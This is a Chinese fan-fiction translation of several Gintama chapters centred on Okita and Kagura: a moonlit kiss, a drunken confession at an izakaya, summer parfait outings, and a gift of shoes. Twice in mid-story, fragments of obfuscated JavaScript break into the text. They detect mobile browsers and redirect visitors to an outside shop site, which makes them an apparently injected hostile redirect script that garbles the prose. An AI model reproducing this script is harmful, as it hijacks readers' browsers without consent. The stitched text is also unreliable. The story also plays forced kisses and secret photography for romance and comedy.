“我做了一个可怕的梦。” “诶?” “不过,也是个好梦。” 冲田盯着近藤和土方,用和以前不同的、有点古怪的江户口音说道。 “近藤大哥,把我也带去江户吧。” 两人和一只狗,只是眺望着月亮。 秋天的月亮美得仿佛要倾盆而下。 冲田看着站在旁边的神乐,月光照亮着蓝色的眼睛和脸颊。 他突然皱起眉头,缓缓地把手放在神乐的两颊上,用力让神乐转向自己,发出“嘎吱”一声。 “痛!你在干嘛!” 脖子扭向奇怪的方向,隐隐作痛。她瞪了冲田一眼,想让他也对着自己的眼睛,但冲田却一脸不满地瞪着她。 “…什么啊。” “你对那个我太娇惯了吧?” “没办法啊!对年纪小的人还是要温柔点的!” “嗯,你是不是心里有想法?” “别胡扯!才不要那个连毛都没长出来的小鬼阿鲁!” “不,毛什么的……” “别这么说……嗯!” 脸被拉得差点脱臼,快要痛死了!想着要说“痛”,但她的唇却被封住了。相当强行用力、甚至有点痛的几秒钟接吻后,神乐用力拉开冲田的脸颊,终于解脱了。 “好痛!你在干什么,笨蛋!” “这应该是我的台词!!你在干什么,变态!!” “你要对着那边的我,也对着这边的我哦。” “那是你……不,总之……!嗯嗯嗯!” 想着想着,脸颊又被抓住了,嘴唇重叠在一起。烦人的心跳声和无法呼吸的空气。放开!放开!神乐粗暴地拍打着冲田的手臂,终于解放了。 “啊!…简直要死了!” “啊?因为心动?” “怎么可能!那家伙和你这家伙都是傻子!” “还行吧。” “算了算了……!……嗯——!” 第三次,神乐怒不可遏,这家伙把少女的初吻当成什么了?正想把脸移开,狠狠地揍他或者破口大骂一顿,没想到他脸上露出了温柔的笑容,一切都烟消云散了。 “过了5年,我终于又见到你了,你这张丑脸。” “…才不是那样!不管你是13岁还是18岁,都喜欢我吧!真烦!” “哼,你太自恋了吧。” “说中了的话,过了5年耳朵也还是会变红啊。” “…烦死了。” 看着神乐满足地笑,唇凑得像恋人一样近。如此浪漫,感觉有点奇怪,但或许有这样的月夜也不错。神乐轻轻地闭上眼睛,缩短了几毫米的距离。 月光下的归途。 不知不觉牵着手,沿着河岸走回家。 冲田仰望着天上的月亮,突然开口道。 “喂,China。” “什么啊?” “月亮。” “什么?” “月亮真美!” 神乐的脑中响起了响亮的声音。 13岁冲田教授的“月亮真美”隐藏的意义,不知道18岁的冲田是否还记得这句话的意思。 神乐意味深长地笑了笑,然后轻声温柔地回答。 “是啊,真的很美阿鲁。” 7. 第 8 章 “太迟了。” “我可没你那么闲。” “几年前还闲得发慌的家伙却这么说。” 位于歌舞伎町一角的居酒屋的吧台座位,每周五晚上八点。他们是约好了,还是不约而同地这样见面呢?俊男美女见面后在我们店里边喝酒边互相发牢骚的情景已经成了惯例。 “大叔,来杯啤酒。” 橘色长发披在耳边,小姐想点菜,真选组的队长就把菜单递给她。今天吃什么好呢,她把手指放在嘴边,两眼放光。 “总之,就是平时的鸡肉串和葱花!” “好嘞!” 把啤酒递给小姐的同时回答点单,看着手拿啤酒杯痛快地喝着酒的她,队长的脸通红,就连上了年纪的大叔都看得出来。是因为先喝了鬼嫁酒的缘故吗? 串上烤串,放到烤台上开始烤。在噼里啪啦的声音中,酒过三巡的小姐飞快地说着话。 “最近的男人们都太弱了,居然会被那么弱的外星人吓到。” “哦。” “最后,那个人躲在神乐大人的背后,对外星人说:‘来吧!’然后我把他打倒了,结果他说:‘成功了!我不怕外星人。’这是狐假虎威吗?” “要不要从毅力开始重新锻炼一下?” “如果被你的乌烟瘴气侵蚀了你会无法恢复的,驳回。” 她笑着把先送到的毛豆送进嘴里,把鬼嫁倒进酒杯,送进喉咙。队长,你这是什么表情?哎呀,两个人注意得太多,差点烧焦了。把烤好的鸡肉串放在盘子上端到小姑娘面前。“嗯~”地幸福地吃东西的样子也会让我感到幸福。 “老爹,再来点鸡胗和鸡皮。” “好啊!” “大叔,我也追加鸡肉串!这个赏月菜也想吃!” “啊,我也是。” 两人的牢骚没有停止,是副长的事吗?“土方那混蛋还没死呢。”“说起来都快三十岁了还在做这种事吗?真是小鬼。”小姐责备道。还有,“上次跟小银说要去打头盔的时候被拒绝了。”“如果这么说的话,你才是小鬼吧。”没完没了的抱怨,没完没了的菜和酒。队长先生已经停止吃东西了,但小姐的手永远在动。可能是对刚才拜托的赏月菜非常满意吧,今天的那份几乎都被小姐吃光了。 *** “对了,他之前向我求婚了。” “什么?” 啪! 小姐突然的言论,吓得我也摔碎了盘子。队长一改刚才愉快的表情,露出讶异的表情,店内的空气明显冷了下来。 “老爹,你没事吧?” “没事,没事,对不起。” 我的事就算了,听小姐说吧,我抑制住说话的欲望,蹲下身子收拾盘子。从上面传来的是喝醉了酒,口语不稳的两个人的对话。 “哦……有交往的人吗?” “没有。” “那是什么?求婚?你知道是什么意思吗?” “突然被说了。虽然是不认识的家伙…但是很拼命啊。” 一阵沉默,店里已经只有两个人了。能听到的只有“咕咚”喝酒的声音。喂喂喂喂,大叔很难站起来啊。只是对小姐求婚的那家伙着急了吧,想要得到自己所爱的女人的心情,我不是不能理解。只是太着急了,但是我不能把这些告诉队长…… “你是怎么回答的?” “我拒绝了,我也不是会马上回答这种陌生男人的求婚的女人。” “哦……” 队长把手里的酒一饮而尽,深深叹了口气。 “居然迷恋上你,脑子有问题吗,真傻。” “什么?!” 喂喂喂,好不容易才站起来,你说什么呢?有些话不能对成年女性说。 “你不知道…在这期间,我也变成淑女了!” “外表我承认,但内在什么都没变吧?” “你说什么……!!” “啪”的一声放下啤酒杯,不用看也知道,小姑娘现在很生气。不知道为什么,我预感到两人要是在这里吵起来,后果将不堪设想,正想上前调解的瞬间。 “是吗……” “什么?” “老爹,你听我说。” 呃?在喊我吗?好不容易站了起来,看到队长抱着鬼嫁酒瓶,把身体压在桌子上,低着头。脸已经通红了。 “刚刚回来的China啊……” china是指小姐吗? “不,队长,小姐还在旁边呢。” 旁边是因酒和愤怒而满脸通红的小姑娘。“你已经开始无视我了吗?”她怒吼道,但队长似乎已经意识模糊,完全听不进去,只是目不转睛地盯着这边。 “我一直很喜欢她。” 说出这句话时,队长的表情前所未有地放松。我看了看小姑娘,她张大了嘴。这是当然,因为我也张不开嘴。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012495|148600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我是在她十四岁的时候遇到她的,她还是个不折不扣的小鬼……” “嗯嗯。” 我强行捂住自己的嘴,一边点头一边听队长说话,小姑娘已经出神了。 “但是……在我自己都不知道的情况下……呜……那家伙越来越深入我的心里,一直缠绕在我的脑海里挥之不去。” “嗯。” “刚开始的时候,当然不想让你知道我爱上了你吧?就算死也不想说自己先爱上你……” “这就是男人的自尊心。” “嗯,大概是这样吧……” 把杯子里剩下的酒一饮而尽。 “在旁边看着越来越迷恋的女人变得越来越漂亮……啊,没有人不着急的吧。” “那当然,一直看着就会变成这样。” “有好几次,我都表现出了那种样子…说我可能喜欢上她了…如果怀疑的话,那她也会在意的吧?” 不,这怎么说呢,我虽然这么想,但还是点了点头。 “可是,那个可恶的家伙却没有注意到…更别说在迷恋你的男人面前,被一个不知哪里来的家伙求婚了…简直是在拷问…呜啊…” “队长,你相当喜欢小姐啊。” “十年了……所以……” 他咕哝了一句,就喝得酩酊大醉,醉倒了。啊呀,睡着了。朝发出“咣”的一声的方向望去,听队长说得入神而忘记存在的小姐从椅子上站了起来,把手环在自己的脖子上,抱住了他。 “大叔,给你添麻烦了。谢谢你听他发牢骚。” 大概是从醉酒中清醒过来了吧,她的口齿很稳。 “这个不能直接对本人说的芋头,有必要重新敲打一下。” “嗯,大叔拜托你,就对他温柔一点吧。” “取决于他自己阿鲁。” 她微微一笑,脸颊红红的,是酒的缘故吗?还是…… 付了钱,说着“我走啦”,带着睡眼惺忪的队长回去了。我目送着她的背影,回到店内。一边收拾一边想起队长说那句话时的脸。 “十年了……所以……” 不知为何,他的脸上充满了自信。十年,一直思念一个女人,这不是很了不起吗?没问题的,队长,小姐一定会的。不,再让外人牵扯进来是不是太俗气了。 我一边这么想,一边看了看两人吃完后的餐具,想着下次再来发牢骚的时候,准备点酒庆祝一下。 8. 第 9 章 【8月1日】 据说这一天创下了有史以来最高气温达到41度的历史性热浪日。天气预报的结野主播发出警告:请注意危险的高温天气。 虽然勉强熬过了上午,但一过正午,气温就会进一步上升。 没有空调的万事屋完全变成了桑拿房。 “死、我要死了阿鲁……!” 只因为有点微风,神乐才走到了外面,但她明显低估了情况。 万里无云的天空中,烈日火辣辣的。偶尔吹来的热风就像吹风机一样,啪嗒啪嗒不停滴下来的汗水让人恶心。 也许是因为天气太热,路上人影稀稀拉拉的。在模糊的视野中感到了生命危险,神乐拖着沉重的身体前进,来到公园的树荫下,那里已经有客人了。 “这种日子还在外面逃班,你也真够闲的。” “闭嘴,屯所的空调坏了。” 摇摇欲坠的空调被冲田用他的火箭筒送入了黄泉之下。 对于因暑热而烦躁不安的土方,冲田也只是在一开始笑嘻嘻的,坏了空调的报应很快就落到了自己身上。即使土方全身被塔巴斯科染红,山崎的头爆炸,也治不好这种焦躁。被不断升级的恶作剧惹恼的土方,在1个小时前将冲田赶出了屯所。 当然也不可能认真工作,身体无意识地沿着平时的路线前进,等回过神来,已经在公园里了。 “公园里的背阴处都是我的,快把那个地方让给我阿鲁!” “先到的是我,你是后面才来的,快滚一边去。” 在这里见面已经是一百年了。 以神乐踢地为信号,他们互相拿出了伞和刀,开始激烈地对打。 但不到1分钟就停止了动作。 “China,今天停战吧……” “……没办法啊,今天就放过你吧。” 好热。 体力透支的两人立刻回到背阴处。 …………真的好热。 “……China。” “……怎么了?” “我给你钱,你去粗点心店买冰淇淋吧。” “真讨厌。这么热的天,谁会从背阴的地方出来。你去买吧,顺便帮神乐大人买一份!” 两个人挤来挤去,但很快就筋疲力尽。 “这么热的天出去是自杀行为。但是因为没钱,哪儿也去不了。前天去便利店乘凉太多了阿鲁,被赶了出来。” “啊,原来还有这招啊。” “嘻嘻,真是个笨蛋,居然在不知不觉中输了。” “闭嘴,现在我要去一家时髦的咖啡馆。你是永远不会有机会的,我要点一杯叫什么芙兰的长名字的东西。” 冲田说着站了起来,却被人从旁边一把抓住手。 “干嘛?” “是我告诉你的。作为谢礼,你请我去那个高雅的咖啡馆阿鲁。” “谁会带你去啊?” 就这样,他试图摆脱,但最终还是放下了手臂。 “……没办法啊,我特别请客,你要感谢我啊,母猪。” “谁是母猪啊,混蛋!” 从树荫下出来的两个影子争夺着一把伞在柏油路上摇晃。 天气热的时候,人有时也会鬼迷心窍。 天敌之间也会友好地去咖啡馆……大概。 最高气温41度, 太阳火辣辣的今天 是停战日。 从公园走出来的两人,面对面坐在靠窗的桌子上。正中间是摊开的菜单和按钮。 “点什么好呢?” “巧克力芭菲!我要巧克力芭菲!” “嘿嘿,我知道了,你别吵了。” 不知道是不是大家的想法都一样,明星咖啡店里挤满了人。所以他们来到了附近的家庭餐厅,虽然空调开得太冷,但对现在的两人来说简直就是天堂。冰凉的冰块发出咔嗒咔嗒的声音,很凉爽。 冲田制止了小争执,迅速按下按钮。 然后一边喝着冰咖啡,一边盯着大口吃的神乐。 “喂!” “什么啊?” 正在吃芭菲的神乐头也不抬地回答。 “给我一口。” “不要。” 干脆的拒绝。 “你觉得是用谁的钱点的餐?看别人吃东西总是看起来很好吃吧?” “自己点一份不就行了吗?” “我和你不一样,吃一口就够了。好了,给我吧。” “我以为可以吃到一整杯巧克力芭菲,所以才来到这里的!没有了巧克力芭菲,我的肚子只能用草莓芭菲填饱了!” “就一口,你也太夸张了。我知道了,再点一份草莓芭菲行了吧。” “你说过了,就一口!” 话虽如此,却没有把抱着的芭菲拿出来。 冲田张大嘴等着。 可是,怎么也不来。 “快点!” 被催促的神乐不情愿地递过勺子。 “嗯。” 草莓芭菲之后,没办法又要了芒果芭菲……冲田想,他没必要找借口。 因为今天太热了。 【8月9日】 8月的第二周。 炎热的日子还在继续。 冲田正要去家庭餐厅避暑,突然避开了一记绊脚。 “你干什么?” 回头一看,和预想的一样。一个打着伞、穿着旗袍的少女站在那里。 “快献上又甜又冰的芭菲给歌舞町的女王。” “让监护人给你买不就行了?” “你觉得小银有这种出息吗?” “我也不打算浪费时间给你。” 冲田叹了口气。 然后迅速环视四周,拉起神乐的手臂。 “喂,放开我!” “别吵了,会被土方那家伙发现的。” 两人在家庭餐厅最里面的座位坐下。 神乐意气风发地宣布。 “今天我要蜜桃冰淇淋!” “说什么呢?你就坐在那看着我点餐。” “你想我大声喊救命吗?说这里有警察,这里有人不正常吗?” 这么热的天,不想再出去了。冲田咂了咂嘴。 “嗯嗯!” 在芭菲的顶部,有像盛开的花朵一样盛放的白桃。在舌头上融化的果肉很甜,冰凉的香草冰淇淋让口腔冷却下来。神乐用长勺子舀起芭菲,享受着玉米片沙沙作响的口感。 到这里之后就结束了。 芭菲快要吃完了。 神乐沉思片刻。突然抬起头,不知在想什么。舀起最后一口,对着对面男人的嘴强行送了进去。意想不到的突袭让冲田差点被呛着。 “接下来是宇治抹茶芭菲!” “你这家伙……” 神乐罕见地让步了。 “没办法,我就把白玉部分让给你了。” “本来这一杯都算是我的吧。” 【8月30日】 八月已经接近尾声,黄昏降临。 万事屋的三人和妙来到了隔壁城镇的庆典。在神社内举行的庆典规模还算不小,据说晚上还会放一些小烟花。 银时在摊位上认识的人给了他们免费的刨冰,一切都很顺利。 然而,在这种时候,总会不知怎么地遇到一群穿着队服的人——真选组。 “警察在这种地方干什么?这群家伙这么闲吗?” “我是在巡视地区,要是被哪个脑袋长得像棉花糖的家伙扰乱治安就麻烦了。” “谁是棉花糖头啊,你这V字刘海!我可不想被对摊位小贩进行无差别恐怖袭击的人这么说!” “你说什么!?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14012496|148600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >新八叹了口气,好像又开始了。 大猩猩已经被打得破破烂烂的,顺便说一下,附近长谷川的小吃摊也破破烂烂的。不能再增加损失了,新八重新振作精神,找到了神乐。 在监护人的旁边,冲田和神乐面对面坐着。 “嗯。” 冲田张开了嘴。 神乐无言地舀起刨冰,递过勺子。 “…………啊?” 新八揉了揉眼睛。 他们两人正像往常一样争吵不休。 “咦,刚才看错了吗?” 就在新八瞠目结舌的时候,两人结束了往常的争执,气势汹汹地向摊位跑去。 “等等,总悟!!!” 敏锐注意到的土方大叫道。 两人的身影瞬间就消失在庆典的人群中。 在安静的神社深处,庆典的喧嚣听起来很遥远。 冲田和神乐结束了在路边摊的比赛,拿着战利品并肩坐在石阶上。 “那边的章鱼烧给你。” “啊!”神乐张开了嘴。 冲田按照喂金鱼的要领,把鱼饵扔了进去。 “烫、好烫阿鲁!” 满脸通红的神乐开始挣扎起来。当然,即使是这样也不会把吃进嘴里的东西吐出来。 “烫伤了阿鲁!给我冰凉的柠檬汽水!” 冲田微微一笑,拿出波子汽水酒瓶,然后按下开启口。 噗咻! 柠檬汽水喷溅出来,直接击中他的脸,队服全湿透了。鼻子感到一阵刺痛。 “可恶……” “哈哈哈哈!!你上当了!!!” 他们争执着,纠缠在一起。 就在双方准备正式施展拳脚的瞬间,啪!爆裂声响彻四周,夜空中闪烁着光芒。 “……烟花开始了。” “……是啊。” 斗志消失的两人挨着看烟花。神乐嚼着苹果糖,冲田摆弄着悠悠球。 “夏天也快结束了阿鲁。” “这么热的天,终于可以结束了。” “我还以为你死缠烂打够烦的,可一结束总觉得有点寂寞。” “就像持续了十年以上的漫画连载结束时一样?” “对,就是那样……不,那种感觉不一样!就算连载结束银魂也永远存在!你让我说了什么啊?” 在吵嚷着的神乐旁边,冲田看向焰火散开、渐渐变暗的天空。 是的,任何事情都有结束的一天。 以热为理由去了家庭餐厅和便利店,这样那样度过了不算安稳的时间的这一个月。 和神乐一起度过的这段时间,今后可能一辈子都不会有了。 回想起来,又痒又寂寞,但这样下去也很奇怪。冲田体会到了一种难以言喻的心情。 “……喂!你从刚才在听我说话吗?” “……啊?” 神乐正勃然大怒,看着冲田那张发呆的脸。 “果然你没在听阿鲁。” “什么?” “从下个月开始,家庭餐厅就要推出秋季限定的栗子芭菲了!下次见面的时候带我去吧。” “……啊?为什么我要请你吃芭菲呢?” “没钱的我和吃得少的你,合作的话应该能吃很多种类的东西吧!” “我告诉你,China。我不是吃得少,是成年男性的平均值。” “天冷了会摆烤红薯的摊子,圣诞节还能吃鸡肉和蛋糕呢!我已经迫不及待了阿鲁!” 在无法抑制笑容的神乐后面,又升起了新的烟花。 冲田眯起眼睛。 偶尔插曲的休战日。 看来即使酷暑远去,这种时光也还会持续下去。 最后,如果要补充一点,那就是—— “那家家庭餐厅的芭菲口味真的好多啊, 9. 第 10 章 来自专栏:这家伙一定喜欢我,真烦 共42篇 【无授权/机翻自润色】礼物 2023-08-17 阅读 4756 无授权翻译,仅供同好阅读 披着一层玫瑰色的漆皮,沐浴在阳光下闪闪发光。从脚尖到后跟画出平缓的曲线,厚重的鞋跟支撑着身体,围绕脚踝的系带上的纽扣是可爱的小玫瑰。 “时尚从脚下开始” 神乐用蓝色的眼睛一动不动地注视着和破旧的广告语一起展示的可爱高跟鞋。 “拜托了。” “不行。” 万事屋的会客室今天也是冷冷清清的,弥漫着一种前所未有的险恶气氛。少女昂首挺胸地瞪着那个偏着脸、顽固地不与自己对视的银发男子。 “我没说要你发工资阿鲁,给我点儿零花钱就行了。” “多少钱?” “两个谕吉。” “肯定是不可能的吧,傻姑娘。” “为什么,你这个没用的家伙!” 神乐纠缠不休,银时不耐烦地皱起了眉头。不管怎么说,不行就是不行。现在手边已经没有一张画着谕吉的神圣纸票了。 去散步的神乐一回来,就缠着要零用钱,醋海带啦肉包啦,被要求支付零碎的钱并不稀奇。于是问她想要多少钱,结果回答是两个谕吉。不行,混蛋。 “小银真小气!要是大人的话,一两个谕吉,一下子交出来吧!” “喂!你知道谕吉有多珍贵吗?那家伙一个人就能承担两人份的战力,英世的话就能承担十人份的战力。就连我也想要两个谕吉啊,傻瓜!” “那么,四个一叶也行阿鲁,或者二十个英世。”(英世、一叶、谕吉都是日本纸钞上的人物,分别是1000、5000、10000日元) “结果不都一样吗!” 搞什么?说到底100、200日元也就算了,2万在万事屋已经是很大一笔钱了。作为零花钱数额也太大了,如果是工资的话倒也不是不能支付,但前几天收到的委托费不巧早就花光了。真是的,你以为是谁的错? “不,都怪你!!好不容易赚到钱,全被弹珠机给熔掉了!!” “太遗憾了,不是弹珠机,是马、船和小钢珠吧~” “这不是赌博御三家吗!!” 本来就不认为他会轻易给钱,但没想到会绝望到这种程度。虽然知道他是个废柴,但意料之内的结果还是让神乐叹了口气。 “从刚才开始就很吵,你们两个在吵什么?” 吵吵嚷嚷地争论不休时,正在准备晚饭的新八来看了看情况。掌握万事屋家计的新八妈妈登场后,银时立刻请求火力支援。 “妈,你听我说,神乐那家伙追着我要零花钱。” “谁是你妈妈?零花钱大概是多少?” “2万。” “啊?这么多?” 意料之外的金额,新八也忍不住叫了起来。要那么多钱干什么?新八一脸不可思议地看着神乐。 “突然要2万,神乐,你有什么想要的东西吗?” “嗯,对,就是这样!” 神乐两眼放光,探出身子。新八对太近的距离感到吃惊,神乐却不管不顾地继续说。 “我想要一双鞋!” “鞋子?” “嗯。车站附近的鞋店里,有一双很可爱的鞋子,红色的,上面有玫瑰。因为太可爱了,我想买一双。” 2后面是4个0。价格太高了,我的眼睛都要跳出来了。 神乐断断续续地说着,银时忍不住重重地叹了口气。 “什么啊……就是这么回事啊。” “这算什么啊!” “区区一双鞋,怎么值得起两万啊?鞋子什么的,只要能穿着走路就够了。” “像小银这样的大叔,怎么可能体会到想要享受脚上打扮的细腻的少女心呢?” “什么少女,小矮人。” “什么啊?!” “喂,喂,你们两个冷静一下!” 神乐和银时眼看就要厮打起来,新八慌忙将身体滑了进去,晚饭前桌子被破坏可让人接受不了。 “我倒觉得阿银的说法不太对,到底能不能出两万在鞋子上呢?不过本来就没钱,这次你能忍一忍吗?” 听了妈妈的话,神乐不好意思地移开了视线。视线所及之处,银时用鼻子哼了一声。 神乐的理由也不是不能理解。正值花季的少女对时尚有一种觉醒,想要这个想要那个是很正常的事情。如果可以的话,也想让她尽情享受打扮的乐趣。但是,我们家没有钱,再怎么绞尽脑汁,结果都只能是这样。 面对不服气的神乐,新八只能苦笑着搪塞过去。 * * * 就算让我放弃,我也不会那么轻易放弃。 她知道自己在任性,也知道阿银和新八是对的,但想要的东西就是想要。 看到那双高跟鞋的时候,我想就是这双了。我想更近距离地看看那双总是俯视着我的恼人的苏芳色的眼睛。 不知道为什么,最近的神乐一不留神就会被某个有着亚麻色头发的青年牵走意识。好像知道这种现象的原因,又好像不想知道。 总觉得在万事屋待不下去,为了打发晚饭前的时间又出去了。举起番伞走下外面的楼梯,从电线杆的阴影中感觉到一股朴素的气息。 “不,朴素的气息是什么样的气息?!” “哇,我读懂了人心阿鲁!对不起,请问你是哪位?” “中、中国小姐?你是不是比平时更刻薄了?我做了什么吗?” 这种朴素气息的源头,是真选组监察山崎退,虽然一遇到心情不好的中国姑娘,就会立刻被迁怒,但他已经习惯了这种不讲理的眼神。虽然动摇了,但并没有受到太大的打击。 “怎么了?好像心情不好。” “…没什么。你才在做什么呢?在那种地方偷偷摸摸的。” “不,也没有什么特别的事。只是觉得,差不多该是小玉出来挂牌的时候了……” 这么说来,快到居酒屋准备营业的时候了。对机器女服务员赞不绝口单恋中的山崎,从电线杆的影子里看着小玉来给外面的招牌点灯,已经成了他最近的日常。 “不说话也不进入视野,还挺能忍的阿鲁。” “是啊,能看到她的身影就已经很幸福了。” “嗯……” 两人闲聊了几句,神乐突然灵光一闪。山崎焦急地等待着小玉出来,神乐得意地看着他的脸。 “吉米。” “什、什么事?” “你不想知道怎么才能无时无刻看着心爱的小玉吗?” “诶?什么,突然,诶??” 可以一直看到小玉……山崎有些讶异地想象着,因为太过甜美,他的表情松弛了下来。山崎被脑内忙乱的妄想吸引了注意力,没有注意到正含笑的神乐。 “前几天是她的生日,我问她想要什么,她说想要名牌包的限量款,贵得我都不敢相信了,奖金都花光了。” “真的吗,请节哀顺变。” “哈哈哈哈”,店里传来了下流的笑声,令冲田听了很不舒服。看着这两个不顾周围的人吵吵嚷嚷的男人,他轻轻瞪了他们一眼。面对立刻吓得缩成一团、压低声音的男人们,冲田哼了一声。 巡视途中肚子饿了,就进了附近的定食屋吃午饭。点了一份味噌煮青花鱼套餐,正在吃的时候,邻座一群看起来很笨的男人正在聊刚才的话题。男人的声音虽然有些低沉,但还是一副牢骚满腹的样子。 真无聊。 与其事后发牢骚,还不如一开始就拒绝。虽说是生日,但有些女人的生日礼物昂贵得连奖金都花光了。大概是平时就被男人各种进贡,对索要高级商品没有任何罪恶感吧。越是给予就越是得意忘形,按照女人说的买东西,这是愚蠢的男人才会做的事。 基本上只把女人当成母猪的冲田,没有给女人送东西的想法。果然,邻座的男人不仅外表笨,内心也相当笨。冲田自作主张地得出了极其失礼的结论,然后举起了筷子。 “啊。” “哦?” 吃完午饭走出定食屋,遇到了熟悉的桃橘色。对方明显皱起了眉头,冲田也因突然感到的违和感,无意识地皱起了眉头。 “今天有哪里不对吧?” “啊?什么?” “身高。” 平时应该稍微低一点的视线,今天不知为何离得很近。冲田疑惑地歪着头,神乐一改不高兴的表情,得意地笑了。 “你还真能注意到啊,今天的神乐大人真是别有一番风味。” “哦,哪里?” “就是这个,就是这个!” 顺着神乐用力指着地面的手指望去,映入眼帘的是包裹着少女白皙双脚的鲜红色皮鞋。与平时穿的旧鞋不同,有着厚实的高跟,怪不得视线会变高。它在阳光下闪闪发光,显然是一件昂贵的东西。 “这是什么啊?盗窃的话,我可要工作了。” “怎么可能!吉米给我买的!” “啊?山崎?” 从少女口中吐出年长部下的名字,冲田压低了声音。 大约一个星期前,神乐向正在努力跟踪小玉的山崎提出了一个建议,那就是弄到一张小玉的快照。这样一来,不仅仅是傍晚的一瞬间,无论何时何地,想看多久就看多久。照片由神乐负责拍摄,之后连胶卷一起交给山崎。作为代替,山崎给神乐买她想要的东西。 简而言之,神乐向山崎滔滔不绝地讲述了这样的方案。当初眨巴眨巴眼睛的山崎,大概也觉得这是再好不过的方法了吧。他毫不犹豫地点点头,谈判成功了。 神乐立刻为了拍摄贴在了小巷里侧的窗户上,花了一个晚上拍了几张合适的照片,第二天就把胶卷送到山崎那里去了。神乐所做的纯粹是偷拍,感到自己的良心隐隐作痛,但看着山崎发出莫名其妙的怪声,崇拜着胶卷的样子,就恶心得立刻把他给忘了。 就这样,神乐完成了任务,把山崎带到那家鞋店,得到了她想要的高跟鞋。看到价钱,山崎先是瞪大了眼睛,然后很干脆地打开了钱包,说: “中国小姐也是女孩子啊。”不愧是公务员。 “真是的,吉米才是真正的大人阿鲁,你也学学他的胸怀吧。” “……” 冲田冷冷地看着一脸可恨、摇着头的少女。也就是说,神乐穿着山崎给她买的鞋子,兴高采烈地到处走动。怎么说呢,没意思。 “真无聊。” “啊?” 冲田一副发自内心的无所谓的样子,神乐用凶狠的眼神瞪着他。 “真没劲,鞋子什么的,穿什么都无所谓。花2万日元,简直是傻瓜。” “你们这些家伙真是不懂少女心啊,时尚从脚下开始,这是常识阿鲁。” “就算很时髦,对你来说也不合适。你看,你不习惯穿高跟鞋,就会不停地颤抖,你这刚出生的小鹿。” “喂!闭嘴,你这个混蛋抖s!” 神乐恶狠狠地说着,抬起腿想踢他一脚,却差点失去平衡,慌忙放下脚。虽然很不甘心,但正如冲田所说,神乐不习惯穿高跟鞋。双腿不停地颤抖,连笔直地走路都累得够呛。虽然不是很严重,但好像今天不可能吵架。 “哼、哼!今天就放过你阿鲁,你捡回一条命了。” “那是你自己吧?” 冲田无可奈何地目送着小鹿摇摇晃晃离去,叹了口气,想要平复焦躁的心情。她总是把别的男人送的东西穿在身上,总觉得不太喜欢。 那天傍晚,结束工作返回屯所的冲田路过了那家鞋店。不久前还闪耀着蔷薇色高跟鞋光芒的陈列柜里,现在则低调地展示着樱花色的芭蕾舞鞋。 很适合那个家伙。 脑海中突然浮现出一个念头,想要踏进店内,却又停下脚步。 不,我在干什么?不可能。冲田当场摇了摇头,沿着通往屯所的路跑了回去。 * * * “好痛阿鲁……” 回到万事屋的神乐,在玄关脱下高跟鞋发出呻吟。看了看脚底,平时雪白的脚底已经变成红色,还长了几颗豆子。 昨天买了红鞋子后第一次遇到冲田,想起了当初的目的。对了,我想看看这家伙的眼睛。虽然按照计划缩小了身高差距,但还没到那种程度。 神乐愤恨地盯着发出火辣辣惨叫的脚底,新八拿着急救箱来到玄关。 “欢迎回来,神乐。” “嗯,我回来了……新八,这双鞋很可爱,却痛得要命。这是什么?什么刑具?” “哈哈,姐姐有时也会穿,但每次回来都很疼。” 新八苦笑着,麻利地给神乐的脚底贴上创可贴。 前几天神乐撒娇说想要2万日元的鞋子,结果被驳回了,第二天把那双鞋带回来的时候,银时和他两个人都瞪大了眼睛,以为她偷了东西。但仔细一问,才知道是偶然遇到的山崎和她交涉后得到的报酬。因为不是赃物,所以暂时放下心来,因为交涉材料很吓人,所以没有问。 神乐穿上到手的值两个谕吉的鞋子,意气风发地出门了。但不到30分钟,她就哭哭啼啼地回来了。平时总是穿着中式皮鞋,银时和新八都在某种程度上预料到穿高跟鞋会痛得走不动路。 从那天开始,她每天都穿着高跟鞋出门,晃晃悠悠地回来。神乐的脚完全没有适应的样子,新八负责给她处理。 “那个姐姐要涨价,对我来说更不可能了。唉,人家好不容易给我买的。” “在习惯了之前没有办法啊。” 治疗结束后,神乐不甘心地跺着脚,新八露出为难的表情。站起来把急救箱放回去时,门铃恰好“叮咚”地响了。新八把急救箱放在地板上,打开门一看,快递小哥拿着一个小纸箱站在门口。 “你好,快递。” “啊,辛苦了。那个,是谁送来的?” “快递单上写的是星海坊主,但地址栏没有填写。” “什么?爸比?” 神乐站在接过行李的新八身后。离生日还早,到底送了什么礼物呢?神乐瞟了一眼盖章送走快递员的新八,立刻打开纸箱。 里面装的是一双漂亮的芭蕾舞鞋,浅浅的樱花色很高雅。毫不吝惜地使用看起来质量很好的真皮,装点的蝴蝶结也很可爱贴合脚部的造型好像很容易走路,最重要的是脚跟很低。 突然收到的礼物和对父亲来说太好的品位,让神乐和新八都惊讶不已。 “咦,这是什么阿鲁!好可爱啊!” “哇,好贵啊…是星海坊主送来的吧?突然之间怎么了?” “这个嘛……啊,里面有东西。” 芭蕾舞鞋下露出一张白纸,取出一看,好像是父亲的信。 “给神乐。偶然路过的星球上有很漂亮的鞋子卖,觉得很适合神乐,就送给你了。如果可以的话请穿上它。爸爸。” “真的吗?真不愧是爸比,太棒了!” “啊,真好啊,神乐。这样一来,鞋跟不高,脚也不会疼了吧。” “确实!嘿嘿,太棒了!我要给爸比写感谢信。” 